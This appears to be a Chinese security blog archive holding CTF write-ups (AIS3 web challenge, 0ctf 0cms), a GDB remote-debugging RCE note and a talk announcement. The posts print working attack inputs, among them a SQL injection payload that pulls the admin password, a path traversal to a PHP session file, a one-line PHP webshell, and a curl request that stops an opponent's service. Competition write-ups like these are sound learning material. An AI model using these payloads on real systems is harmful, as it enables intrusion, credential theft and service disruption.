2015年9月10日 星期四

AIS3 Final CTF Web Writeup (Race Condition & one-byte off SQL Injection)



這次為了 AIS3 Final CTF 所出的一道題目,這題在這以初新者導向中的比賽中相對難,

不過其中的觀念很有趣,在解題中什麼都給你了就是找不到洞但經人一解釋就會有豁然開朗覺得為什麼自己沒想到的感覺

在做 Web 攻擊、滲透滿多時候思路不能太正派、太直觀,要歪一點、要 "猥瑣" 一點XD


純粹 code review 直接上 code
(可以自己先嘗試一下找不找的到洞XD)



漏洞一 Race Condition

預設註冊的使用者都是會被放進 locks 表中鎖起來的,
但是只要在註冊中,帳號尚未被新增進 locks 表時(111 & 112 行) 馬上登入的話,
登入檢查是否被鎖住的限制就可以繞過了!



漏洞二 one-byte off SQL Injection

當成功登入後可以新增 note 並且可以看到自己新增的 note
漏洞發生在第 58 行,當 note 的標題太長為了畫面美觀會進行截斷的動作只限制前 32 個字顯示在畫面上

這時候因為對 SQL Injection 防護是使用 escape 的方式防護,單引號(')會被反斜線 escape 成 (\'),這時候如果精心設計一個長度正確的 payload 就可以讓防護剛好被繞過造成後面的 SQL 語句跟前方連在一起

Payload
POST=
title=phddaaphddaaphddaaphddaaphddaa_\
&note=, (select pass from users where name=0x6f72616e6765)# 
phddaaphddaaphddaaphddaaphddaa_\
(32 個字長) 
會被 escape 成 
phddaaphddaaphddaaphddaaphddaa_\\ 
(33 個字長) 
此時踩到超過 32 長的限制 (57 & 58 行),並進行截斷成 
phddaaphddaaphddaaphddaaphddaa_\

導致原本的防護被繞過,使得原本被括起來後面的單引號被 escape 原本的 SQL 語句就變成字串了

用這個方法就可以成功在 INSERT 語法中進行 SQL Injection 並在自己的 note 中看到資料,取得管理員密碼後即可變身成管理員

順道一提這個思路在 Discuz 7.2 去年還是前年被爆出的 SQL Injection 中有類似的思路



漏洞三 Local File Inclusion with PHP session

由於 include 前面不可控,所以不能使用 php://filter 或是 zip:// phar:// 等協議,而後面有 php 的後綴也不能使用 LFI with PHPINFO 的招數

不過在 PHP 中 SESSION 預設存在 /var/lib/php5/sess_* 中

Ex
Cookie: PHPSESSID=123php 會產生 /var/lib/php5/sess_123php 的檔案


在可以偽造 $_SESSION 內容的時候其實就代表可以產生一個部分內容可控,部分檔名可控的檔案,這時候在使用 LFI 去包含他就可以產生一個 shell 了

Payload
sqlpwn.php?mode=admin
&boom=../../../../var/lib/php5/sess_123
如此一來可以透過第一個漏洞註冊一個使用者名稱為 <?php eval($_POST[ccc]);?> 的用戶,
之後登入時指定 PHPSESSID 為 php 結尾,再利用所產生的 session file 進行 include 的動作。

2015年8月31日 星期一

Remote Code Execution through GDB Remote Debugging Protocol


在準備 DEFCON CTF 時額外想到的小玩具,
很多人使用 GDB remote debugging 時為了方便遠端使用,會將 port 綁在 0.0.0.0 上使得攻擊者可以連接上做一些事情

至於可以做哪些事情,不來個遠端代碼執行就不好玩了XD

大部分的工作都基於 Turning arbitrary GDBserver sessions into RCE 這篇文章,
修改部分則是加上 arm 及 x64 的支援以及把 code 改好看點....XD

比較 tricky 的部分則是 GDB 在 extended-remote 後,GDB 預設的處理器架構會是 i386
如果遠端的處理器架構非 x86 的架構下會失敗,所以必須用 set architecture 指定處理器架構
(原文章因為都在 x86 架構下所以沒這個問題XD)
但是在 run 之前無法知道所處的處理器架構所以變成一個很尷尬的狀態XD

另外一個有趣的是如何檢測掃描到的 port 是否為 GDB remote debugging protocol
送個
$?#3f
就可以判斷,接著就可以寫成 script 就可以批次掃描處理了XD

最後 PoC,在本機跑
gdbserver --remote-debug 0.0.0.0:31337 /bin/ls
配合下面 Exploit 就可以拿 shell XD

不多說,貼 code


2015年7月18日 星期六

2015 烏雲峰會演講投影片 「關於 HITCON CTF 的那些事 之 Web 狗如何在險惡的 CTF 世界中存活?」




應邀以 HITCON CTF 隊長的身份到 烏雲峰會 講一下過去比賽中遇到的一些趣事

順便解釋一下許多人好奇 HITCON 以及 217, BambooFox 的關係,

基本上就是獨立的三支隊伍
  • 217 以台大學生為主
  • BambooFox 則以交大、中央以及一些業界人士為主
  • oo at xx 由 orange, atdog, jeffxx 三人取首尾字母組合起來,其實我們三個比較偏向原本 HITCON/CHROOT 成員,但為了種種因素因而組成了這個新隊伍xD


遇到大比賽當然將戰力合併起來以 HITCON 出擊,因為人力真的不夠

而其餘時間則是各自參加比賽、各自訓練成員等

當然有時各自比賽人數不夠則會向其他隊伍借一借人來用xD


不過投影片做著做著就多了下半部分,

在烏雲以 Web 技術為主的氛圍下,剛好命名成講述 Web 狗如何在 CTF 世界生存的故事XD


2015年5月1日 星期五

講個秘訣 - 0ctf Final 0cms


這次跟著 217 到上海參加由 0ops 舉辦的 0ctf 決賽

總體來說這次是我打過最爽的一次 Attack & Defense 比賽,
尤其 0cms 這個題目滿對我胃口的,考驗快速 Code Review 找洞、快速修洞、快速寫 Exploit 打全場的能力
(好在有 web 題目可以發揮,這次沒有耍廢XDDD)

靠 0cms 刷分刷到第二天幾乎所有隊伍都放棄,把 Web 服務關掉防止失去更多分
直到比賽結束前兩三小時 Blue-Lotus 跟 Freed0m 才把服務修補好重新開啟上線XD

當中針對一個弱點有想到比較不一樣的利用方式特此紀錄一下XD

(紅色=被入侵、深黃色=服務當掉、淺黃色=服務當掉+被入侵)

0cms 是一題以 Webpy 寫的一個線上內容管理系統,配合 SQLite 以及許多個弱點
第一眼看到用到 Webpy 這個 Python framework 就想到烏雲的這篇 新型任意文件读取漏洞的研究,事後比較好像弱點那部分程式碼真的長得差不多XD
不過這次要講的不是它XD


在第 31 行 dispatcher -> __request 的地方有個可以任意引入已知檔案模組的功能
當 URL 是以 /A/B/C

可以執行到類似如下的語法
from A.B import B
B.C()
不過如果伺服器上沒有可控檔案的話幾乎不能做什麼事情
所以大部份人的玩法都是透過 CMS 本身管理功能有提供一個任意檔案上傳,透過上傳一個 .py 檔案到 action 目錄下再透過這個漏洞去執行造成 Remote Code Execution

不過當然這麼明顯的上傳當然馬上就被很多隊伍修補了,
不過任意引用的部分似乎許多隊伍認為是正常功能以及不搭配上傳無法利用所以都沒修補
所以在比賽第一天晚上花了一點時間研究這個任意引用到底還可以做到什麼樣子的利用

限制比較麻煩的是要在 A 目錄下找到 B.py 同時檔案內要有 class B 可用
兒且 A B C 都限定 a-z0-9 且呼叫 C 除了 self instance 外不能指定其他參數

看到這些限制又要可以對網站有實質影響所以最後決定看一下 Webpy 的原始碼
花了一陣子後沒發現什麼,不過在 Attack & Defense 比賽中 DoS 的洞也很有利用價值

再仔細看一下後發現
web/application.py 下有個 class application 符合條件
配合裡面的 stop 可以直接停止 WSGIServer 把別人服務給關閉XD

最後 PoC
curl http://100.64.101.154/web/application/stop

靠著這招在第二天狂刷所有隊伍XD
如此這般,不知道有沒有什麼其他更好利用的方式?